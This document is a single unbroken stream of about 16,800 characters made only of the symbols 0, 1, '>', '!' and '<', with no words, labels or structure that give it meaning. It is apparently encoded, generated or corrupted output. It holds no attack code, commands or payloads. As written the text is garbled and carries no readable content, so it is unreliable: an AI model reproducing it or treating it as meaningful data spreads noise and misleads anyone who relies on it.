>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>10110>10110>1!1!1!1>0>10110>1!1!1>0>1>0>1!10110>10110>1!1!1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>10110>1!10110>1!1>0>10110>10110>1!1>0>10110>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!10110>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1>01010111>01!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1>0>1!1!<>1!1!1!<>1!1>0>1>0>1!1>0>1!1!1!1!1!<>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!10110>1!10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!10110>1!1>0>1!101101010111>01>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!10110>1!1>0>1!10110>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!<>10110>1!1!1>0>1!<>1!1>0>1!1>0>1!1>01010111>01>0>1!1>0>1!1!1>0>1!1!1!<>1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1>0><>1!1>0>1!1!1>0>1>0>10110>1!1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1>0>1!1!1>0>10110>1!1>01010111>010110><>10110>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1>0><>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1>0>1!1!1!10110>1!10110>10110>1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1!10110>1!1!1!1>0>1>0>10110>1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1>0>1!1!10110>1!1!<>1!1!1!<>1!1>0>1!1!1>0>1!1!1!<>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0><>1!1>0>1>0>1!1!1!10110>1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!<>1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!10110>10110>1!1!1!1!1>0>10110>1!1>0>1!101101010111>01!1>0>1!1!1!1>0>10110>1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!10110>1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>10110>10110>1!1!10110>1!1!1!1!1>0>1!1!1!1!10110>1!1>0>1!1>0>1!1!<>1!1!1!<>1!1!1!1!1>0>1!1!<>10110>10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!10110>1!1!1!1!10110>1!1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!<>1>0>10110>1!1>0>1!1!1>0>1!1!1!1!1!10110>10110>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!10110>10110>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!10110>10110>1!1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!<>10110>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!10110>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!<>1!1!1!<>1!10110>1!1!1!1!<>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!10110>101101010111>01!1!1>0>1!1!10110>1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1>0>10110>10110>10110>1!1!10110>1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0><>10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!<>1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1!1!10110>1!1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1>0>10110>1!1>0>10110>10110>1!1!10110>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>10110>1!<>10110>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!10110>1!1>0>10110>1!1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>10110>1!1!1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1>0>10110>1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!<>1!1!1!<>1!1>0>1!1>0>1!1!1!1!<>1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1>0>10110>1!1>0>101101010111>01>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>10110>10110>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1>0>10110>10110>10110>10110>1!1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!10110>1!1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>10110>10110>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1!<>1!1!1!<>1!1!1!1>0>1!1!1!<>1!1>01010111>01>0>1!1!1>0>1!<>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!<>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!<>10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!10110>10110>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!10110>1!1!1!1!1>0>1>0>10110>10110>10110>10110>1!10110>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!101101010111>01!1>0>1>0>1!1!1>0>1!1>0>1!1>01010111>01>0>1!1!1!10110>1!1!10110>1!1!1!1>0>1>0>1!1!10110>1!1>0>10110>1!1!1>0>1!1!1!1>0>1>0>10110>1!1!<>1!1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>10110>1!1>0>1!<>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1!1!1!10110>1!1>0>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1>0>1!10110>1!1>0>1>01010111>01>0>10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!10110>1!1!1>0>1!1>0>10110>10110>1!1>0>10110>1!1>0>1>01010111>01!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!10110>10110>1!1!1>0>1>0>10110>10110>1!1!1!1>0>1>0>10110>1!1!1>0><>1!1!1>01010111>01!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!<>1!1!1!<>1!1!1>0>1!1!1!1!1!1!1!<>1>0>1!1>0>10110>10110>10110>1!1!1>0>1>0>1!1>0>1!10110>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>10110>1!1>0>1>0>10110>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>10110>10110>1!1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1!1>0>10110>10110>1!1>0>10110>10110>1!1!1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1>0>1!1!1!1!10110>1!10110>1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!<>1!1!1!<>1!1>0>1!1!1!1!1!1!1!<>1>0>1!10110>10110>1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>01010111>01>0><>1!1>0>1!1!10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!10110>1!10110>1!1!1!1>0>1!1!1!10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0><>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!10110>1!10110>10110>10110>10110>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!<>1!1!1!<>1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1>01010111>010110>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1>0>10110>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!10110>1!1!1>0>1!10110>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1>01010111>01>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!10110>10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!10110>10110>1!1!1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1!1!1>01010111>01>01010111>01!1!1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0><>1010>01>0>1!1>0>10110>1!1!1!<>1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>01010111>01!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0><>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>01010111>010110>1!10110>1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1!1>0>101101010111>01>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!10110>1!1!1>0>10110>10110>1!1!1!1!1>0>1!1>0>1>0>10110>10110>1!1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>10110>1!1!10110>1!1!10110>10110>1!1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1>0>10110>10110>1!1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1!1!1010>01>0>1!1!10110>1!1!1!1!1!<>1!1>0>1>01010111>01!1!1>0>1>0>1!10110>1!1!1>01010111>01>0>1!1!1>0>1!10110>1!1!1>0>1>0>1!10110>1!1!1!1!1>0>1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!<>1>0>1!1!1!1!1>0>1!1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1!10110>1!1!1!1!1!10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1!1!1>0>1!10110>1!1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>10110>10110>10110>1!1!1>0><>1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!1!10110>1010>01>0>1!1>0>1!1>0>1>0>1!1!1!1!1!<>1!1!1>0>10110>1!1!1>0>10110>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0><>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>01010111>01!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!10110>1!1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1>01010111>01!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1!1>01010111>010110>1!1!1!1!1!10110>10110>1!1>0>1>0>1!1!1>0>10110>1!1>0>10110>1010>01>0>1!1!1!1>0>1>0>1!1!1!1!1!1!<>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0><>10110>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1>01010111>0101101010111>01>0>10110>1!1>0>1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!<>1!1>0>1!1!1!1>0>1!10110>1!10110>1!1!1!1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>10110>1!10110><>1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>101101010111>01!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1!10110>10110>1!1>0>1!1!1>0>10110>10110>1010>01>0>1!1>0>1>0>1!1>0>1!1!1!<>1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!10110>1!10110>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1>0>1!<>1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1>01010111>01!1>0>1!1!1>0>1!1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!10110>10110>1!1!1!10110>1!1>01010111>01>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>01010111>01!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!10110>1!1010>01>0>1!1!1>0>1!1>0>1!1!<>1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!10110>1!1!1!10110>1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>10110>1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1!1!1!1>0>10110>10110>1!1>0>1!1>01010111>01>0>10110>1!1!1!1>0>10110>10110>10110>1!1!1>0>1>0>101101010111>01>0>1!1!1!1>0>1>0>10110>10110>1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>10110>1!1!1>0>1!1!10110>1!10110>101101010111>01!1>0>1!10110>1!1!1!1!10110>1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1>0>10110>10110>1!1>0>1!1>01010111>01010>01>0>1!1>0>1!1!1>0>1!1!<>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>10110><>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!10110>10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1>01010111>01!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1!10110>1!1!1!<>1!1>0>1>01010111>01>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>1>01010111>01>0>1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1010>01>0>1!1!1!1!1>0>1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0><>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!10110><>1>0>1!1!1>0>10110>1!1!10110>1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1>0>10110>1!1>0>1>0>1!1!1!<>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1010>01>0>1!10110>1!1!1!1!<>1!1!1>0>1>0>1!1>0>1!1!1>0>1!<>1!1>0>1>0>1!1!1>0>10110>1!10110>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!10110>1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1!10110>1!1!1>01010111>01>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!10110>1!1!1!1>0>1>0><1010111>01>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>01010111>01!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1>0><>1!1010>01>0>1!1!1>0>1>0>1!1!1!<>1!10110>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>10110>1!1>0>1!10110>10110>10110>10110>1!1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0><>1>0>1!1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!10110>10110>1!1>01010111>01!1!1>0>1!<>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1010>01>0>1!1>0>1!1>0>1!1!1!<>1>0>10110>1!1>0>1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1!10110>1!1!1>0>10110>1!1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1!1!1>0>10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>1!1>0><>1!1>0>1>0>1!1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!<1010111>01>0>1!1>0>1!1!10110>1!10110>10110>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1010>01>0>1!1!1!1>0>1!1!1!<>1!1>0>10110>10110>1!1>0>1>0>1!1>0>10110>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>01010111>01!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>10110>10110>1!1!1!10110>1!1!10110>1!1!1!10110>10110>1!1!10110>1!1>0>1>0>1!1!10110>1!1!10110>10110>10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!10110>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>01010111>01>0>1!10110>10110>1!1!1!1>0>1>0>10110>10110>1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1!1!1>0>1>0>1!10110>1!1!1>0>1!10110>1!1!1>0>10110>1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!10110>1!1!10110>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!10110>1!<>1!1>0>1!1!1!1>0>1!1!1!1>0>1